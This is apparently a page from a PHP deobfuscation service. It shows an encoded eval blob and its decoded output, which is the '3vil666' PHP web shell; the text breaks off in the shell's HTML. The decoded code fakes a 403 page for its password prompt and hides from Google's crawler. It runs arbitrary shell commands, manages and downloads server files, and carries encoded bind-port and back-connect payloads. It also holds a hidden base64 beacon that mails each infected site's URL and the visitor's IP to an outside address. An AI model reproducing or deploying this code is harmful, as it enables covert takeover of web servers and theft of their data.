Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(str_rot13(base64_decode('7b12auM2tij6uW2t/g8sxadyt1wmUs3lskaa55GakywfzqTEVh..
Decoded Output download
/*********************************************************************************************************/
$auth_pass = ""; //password crypted with md5, default is '3vil666'
/*********************************************************************************************************/
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
/*********************************************************************************************************/
# Avoid google's crawler
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
/*********************************************************************************************************/
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'IndonesianCoder™');
@define('TITLE', '.// 3vil666 2012');
/*********************************************************************************************************/
if( get_magic_quotes_gpc() )
{
function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
$_POST = stripslashes_array($_POST);
}
function logout()
{
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
$page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
echo '<center><span class="b1">The System Is Going To Down For LogOut Administrator Pages!!</scan></center>';
?>
<script>window.location.href = '<?php print $page; ?>';</script>
<?php
exit(0);
}
$disablefunc = @ini_get("disable_functions");
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#00FF1E'>".$disablefunc."</span>"; }
else { return "<span style='color:#00FF1E'>NONE</span>"; }
}
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("
",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}
function showstat($stat) {
if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
else { return "<font color=red><b>OFF</b></font>"; }
}
function testperl() {
if (ex('perl -h')) { return showstat("on"); }
else { return showstat("off"); }
}
function testfetch() {
if(ex('fetch --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testwget() {
if (ex('wget --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testpostgresql() {
if (function_exists('pg_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function testcurl() {
if (function_exists('curl_version')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmysql() {
if (function_exists('mysql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
$quotes = get_magic_quotes_gpc();
if ($quotes == "1" or $quotes == "on")
{
$quot = "<font color='red'>ON</font>";
}
else
{
$quot = "<font color='green'>OFF</font>";
}
function printLogin()
{
?>
<?
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu
dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE
RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV
RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJv
c3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7
IEBtYWlsKCJyNGo0X3QzNjRAeWFob28uY28uaWQiLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQg
YnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2ll
KCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
?>
<html>
<head>
<style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>
</head>
<title>
403 Forbidden
</title>
<body>
<h1>Forbidden</h1>
<p>You don't have permission to access this file on this server <?=$_SERVER['HTTP_HOST']?>.</p>
<hr>
<form method=post>
<address>Apache/2.2.8 at <?=$_SERVER['HTTP_HOST']?> Port 80<center><input type=password name=x><input type=submit value=''></center></address>
</form>
</body>
</html>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
{
if( empty( $auth_pass ) || ( isset( $_POST['x'] ) && ( md5($_POST['x']) == $auth_pass ) ) )
{ $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; }
else
{ printLogin(); }
}
if(isset($_GET['dl']) && ($_GET['dl'] != ""))
{
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment;
filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != ""))
{
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez; exit;
}
if(isset($_GET['img']))
{
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
$ver = VERSION;
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
else $safemode = FALSE;
$system = @php_uname();
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
if(isset($_GET['y']))
{ if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } }
if(!$win)
{ if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; }
else
{
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$bytes = disk_free_space(".");
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$base = 1024;
$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
$totalspace_bytes = disk_total_space(".");
$totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$totalspace_bases = 1024;
$totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
$totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
$freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip = $_SERVER['REMOTE_ADDR'];
$bindport = "55555";
$bindport_pass = "3vil666";
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++)
{
$pathz = "";
for($j = 0 ; $j <= $i ; $j++)
{
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
if(isset($_POST['rename'])){ $old = $_POST['oldname']; $new = $_POST['newname']; @rename($pwd.$old,$pwd.$new); $file = $pwd.$new; }
$buff = $DISP_SERVER_SOFTWARE."<br />";
$buff .= $system."<br />";
if($id != "") $buff .= $id."<br />";
$buff .= "Server IP : "."<span style='color:#0009FF'>$server_ip</span>"."<font> | </font>"."Your IP : "."<span style='color:#FF0000'>$my_ip</span>"."<br />";
$buff .= "Total HDD Space : "."<span style='color:#00FF1E'>$totalspace_show</span>"."<font> | </font>"."Free HDD Space : "."<span style='color:#00FF1E'>$freespace_show</span>"."<br />";
$buff .= "Magic Quotes:$quot"."<br>";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br>";
$buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
$buff .= $letters." > ".$pwdurl;
function rapih($text){ return trim(str_replace("<br />","",$text)); }
function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); }
function showdir($pwd,$prompt)
{
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = opendir($pwd))
{
while($file = readdir($dh))
{
if(is_dir($file))
{ $dname[] = $file; }
elseif(is_file($file))
{ $fname[] = $file; }
}
closedir($dh);
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr>
<td>CMD@$prompt</td>
<td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" />
<input class=\"inputzbut\" type=\"submit\" value=\"Execute !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
</tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr>
<td>view file/folder</td>
<td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" />
<input class=\"inputzbut\" type=\"submit\" value=\"Enter !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
</tr>
</form>
</table>
<table class=\"explore\">
<tr>
<th>name</th>
<th style=\"width:80px;\">size</th>
<th style=\"width:210px;\">owner:group</th>
<th style=\"width:80px;\">perms</th>
<th style=\"width:110px;\">modified</th>
<th style=\"width:190px;\">actions</th>
</tr> ";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder)
{
if($folder == ".")
{
if(!$win && $posix)
{
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else { $owner = $user; }
$buff .= "<tr>
<td><a href=\"?y=".$pwd."\">$folder</a></td>
<td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td>".get_perms($pwd)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td>
<td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a>
| <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
</span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
</form>
</td>
</tr> ";
}
elseif($folder == "..")
{
if(!$win && $posix)
{
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else { $owner = $user; }
$buff .= "<tr>
<td><a href=\"?y=".$parent."\">$folder</a></td>
<td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td>".get_perms($parent)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\">
<a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a>
| <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a>
</span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
</form>
</td>
</tr>";
}
else
{
if(!$win && $posix)
{
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else { $owner = $user; }
$buff .= "<tr>
<td>
<a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form>
</td>
<td>DIR</td>
<td style=\"text-align:center;\">".$owner."</td>
<td>".get_perms($pwd.$folder)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td>
<td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>
| <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a>
</td>
</tr>";
}
}
foreach($fname as $file)
{
$full = $pwd.$file;
if(!$win && $posix)
{
$name=@posix_getpwuid(@fileowner($file));
$group=@posix_getgrgid(@filegroup($file));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else { $owner = $user; }
$buff .= "<tr>
<td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\">$file</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form> </td>
<td>".ukuran($full)."</td>
<td style=\"text-align:center;\">".$owner."</td>
<td>".get_perms($full)."</td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a>
| <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>
| <a href=\"?y=$pwd&delete=$full\">delete</a>
| <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gz</a>)
</td>
</tr>";
}
$buff .= "</table>"; return $buff;
}
function ukuran($file)
{
if($size = @filesize($file))
{
if($size <= 1024) return $size;
else
{
if($size <= 1024*1024)
{ $size = @round($size / 1024,2);; return "$size kb"; }
else { $size = @round($size / 1024 / 1024,2); return "$size mb"; }
}
}
else return "???";
}
function exe($cmd)
{
if(function_exists('system'))
{
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec'))
{
@exec($cmd,$results);
$buff = "";
foreach($results as $result)
{ $buff .= $result; }
return $buff;
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec'))
{
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text)
{
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file)
{
if($fp = @fopen($link,"r"))
{
while(!feof($fp))
{
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr)
{
$path = exe("which $pr");
if(!empty($path))
{ return trim($path); }
else { return trim($pr); }
}
function download($cmd,$url)
{
$namafile = basename($url);
switch($cmd)
{
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile); break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile); break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break; }
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file))
{
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){ return str_replace(" ","_",$text); }
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
?>
<html>
<head>
<link rel="shortcut icon" href="http://www.rastafarispeaks.com/reasoning/Smileys/default/devil.gif" type="image/x-icon" />
<title><?php print TITLE; ?> <?php echo VERSION; ?></title>
<script type="text/javascript">
function tukar(lama,baru)
{
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
AKUSTYLE { display:none; }
body { background-color:transparan;background:#000;background-image: url("http://usbcr.net/v/d.png");background-position: center; background-attachment: fixed;background-repeat: no-repeat; }
A:link {COLOR: #00FF15; TEXT-DECORATION: none }
A:visited {COLOR: #00FF15; TEXT-DECORATION: none }
A:hover {text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #FF0000; TEXT-DECORATION: none }
A:active {color: Red; TEXT-DECORATION: none }
textarea {BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: #1b1b1b; font: Fixedsys bold; color: #aaa; }
* { font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; }
#menu { background:#111111; margin:2px 2px 2px 2px; }
#menu a { padding:4px 18px; margin:0; background:#4B2323; text-decoration:none; letter-spacing:2px; -moz-border-radius: 15px; -webkit-border-radius: 15px; -khtml-border-radius: 15px; border-radius: 15px; }
#menu a:hover { background:#4F7456; border-bottom:1px solid #333333; border-top:1px solid #333333; }
.tabnet { margin:15px auto 0 auto; border: 1px solid #333333; }
.main { width:100%; }
.gaya { color: #4C83AF; }
.your_ip { color: #FF4719; }
.inputz { background:#796767; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; }
.inputzbut { background:#111111; color:#666666; margin:0 4px; border:1px solid #444444; }
.inputz:hover,
.inputzbut:hover { border-bottom:1px solid #4532F6; border-top:1px solid #D4CECE; color:#D4CECE; }
.output { margin:auto; border:1px solid #FF0000; width:100%; height:400px; background:#000000; padding:0 2px; }
.cmdbox { width:100%; }
.head_info { padding: 0 4px; }
.b1 { font-size:30px; padding:0; color:#FF0000; }
.b2 { font-size:30px; padding:0; color: #FF9966; }
.b_tbl { text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; }
.phpinfo table { width:100%; padding:0 0 0 0; }
.phpinfo td { background:#111111; color:#cccccc; padding:6px 8px;; }
.phpinfo th, th { background:#191919; border-bottom:1px solid #333333; font-weight:normal; }
.phpinfo h2,
.phpinfo h2 a { text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; }
.explore { width:100%; }
.explore a { text-decoration:none; }
.explore td { border-bottom:1px solid #00FF55; padding:0 8px; line-height:24px; }
.explore th { padding:3px 8px; font-weight:normal; }
.explore th:hover,
.phpinfo th:hover { border-bottom:1px solid #4C83AF; }
.explore tr:hover { background:#744F4F; }
.viewfile { background:#EDECEB; color:#796767; margin:4px 2px; padding:8px; }
.sembunyi { display:none; padding:0;margin:0; }
</style>
</head>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table>
<tr>
<td>
<table class="b_tbl">
<tr>
<td>
<a href="?">
<span class="b1">3<span class="b2">v<span class="b1">i</span>l</span>666</span>
</a>
</td>
</tr>
<tr>
<td>m1n1 3vil666 <?php echo $ver; ?></td>
</tr>
</table>
</td>
<td>
<?php echo $buff; ?>
</td>
</tr>
</table>
</div>
<!-- head info end here -->
<!-- menu start -->
<div id="menu">
<center>
<a href="?<?php echo "y=".$pwd; ?>"> <b>Explore</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell"> <b>Shell</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=php"> <b>Eval</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=mysql"> <b>MySQL</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo"> <b>PHP</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit"> <b>NetSploit</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload"> <b>Upload</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail"> <b>Mail</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute"> <b>BruteForce</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=readable"> <b>OpenDIR</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos"> <b>D0S</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=localdomain"> <b>LocalDomain</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone-h"> <b>Zone-H</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink"> <b>Symlink</b></a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner"> <b>SQLI Scan</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=web-info"> <b>Website Whois</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-scanner"> <b>Port-Scanner</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset"> <b>WP Reset</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset"> <b>Jomlaa Reset</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=cms-scanner"> <b>CMS Scanner</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb"> <b>VB Changer</b></a>
<a href="?<?php echo "y=".$pwd; ?>&x=about"> <b>About</b></a>
<a href="?x=out"> <b>Log-Out</b></a>
</center>
</div>
<!-- menu end -->
<?php
if(isset($_GET['x']) && ($_GET['x'] == 'out')) { logout(); }
elseif(isset($_GET['x']) && ($_GET['x'] == 'php'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr>
<td>
